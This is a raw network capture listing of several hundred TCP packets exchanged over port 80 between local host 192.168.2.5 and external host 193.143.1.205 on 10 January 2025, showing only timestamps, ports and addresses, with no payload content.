Jan 10, 2025 21:09:22.837017059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.837032080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.837069035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.837079048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.874747038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.874788046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.874823093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.874860048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.874888897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.874914885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.874944925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.874950886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.874984980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.874995947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875036955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875042915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875076056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875125885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875128984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875185966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875236034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875240088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875269890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875304937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875320911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875361919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875413895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875416994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875475883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875528097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875526905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875564098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875601053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875613928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875638008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875669956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875686884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875725031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875760078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875777006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875814915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875849009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875866890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875884056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875916958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875922918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.875952959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.875987053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876003027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876023054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876070023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876074076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876112938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876163006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876167059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876203060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876252890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876260042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876293898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876339912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876446962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876497984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876530886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876543045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876566887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876600027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876616001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876635075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876668930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876683950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876704931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876739025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876760960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876775026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876807928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876825094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876842976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876877069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876893997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876913071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876946926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.876965046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.876981974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.877016068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.877028942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.877051115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.877085924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.877099991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882004976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882066011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882080078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882117033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882165909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882173061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882226944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882277012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882278919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882314920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882360935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882366896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882402897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882437944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882453918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882473946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882508039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882527113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882543087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882576942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882591963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882611990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882646084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882658958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882684946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882718086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882731915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882755995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882790089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882798910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882827044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882859945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882869005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882895947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882939100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.882958889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.882993937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883028030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.883028030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883064985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883097887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883109093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.883133888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883167982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883173943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.883202076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883234978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883239985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.883274078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883307934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883336067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.883358955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883394003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883409977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.883430004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883465052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.883476973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.887286901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.887841940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.887896061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.887901068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.887957096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.887993097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.888010025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.888030052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.888066053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.888097048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.888102055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.888153076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.900449991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.910281897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.926290989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926350117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926384926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926419973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926462889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.926497936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926526070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.926538944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926594019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.926597118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926626921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926676989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.926680088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926733017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926765919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926789045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.926805019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926837921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926865101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.926873922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926908970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926923037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.926944017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926980972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.926999092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.927016020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.927050114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.927083015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.927117109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.927151918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.927187920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.927383900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.964864016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.964934111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.964956999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.964972973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965008974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965040922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965049982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965101957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965107918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965145111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965200901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965200901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965256929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965289116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965311050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965346098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965399027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965409040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965432882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965486050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965490103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965543032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965578079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965595961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965615034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965652943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965666056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965707064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965739012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965765953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965797901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965832949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965848923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965888977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965940952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.965943098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.965977907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966012001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966037035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966047049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966100931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966106892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966155052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966206074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966207981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966243982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966278076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966291904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966312885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966362000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966365099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966398954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966428995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966461897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966464996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966516018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966536045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966572046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966625929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966645002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966677904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966713905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966732025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966767073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966821909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966825962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966857910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966893911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966913939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966928005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966963053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.966986895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.966999054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967035055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967050076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967068911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967107058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967132092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967166901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967216015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967227936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967263937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967299938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967324018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967355967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967391968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967411995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967427015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967468977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967484951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967503071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967538118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967557907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967569113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967603922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967618942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967639923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967674017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967690945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967709064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967742920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967765093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967783928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967818022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967833996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967854023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967888117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967904091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967924118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967957973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.967973948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.967993021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968027115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968044996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.968064070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968096972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968110085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.968132973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968167067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968184948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.968202114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968235016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968250036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.968271017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968303919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968322992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.968347073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968380928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968393087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.968421936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:22.968472004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:22.973095894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.003509998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003535986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003561020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003576994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003592968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.003604889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003634930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003648043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003653049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.003664017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003680944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003688097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.003696918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003714085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003717899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.003731012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.003740072 CET	49704	80	192.168.2.5	193.143.1.205
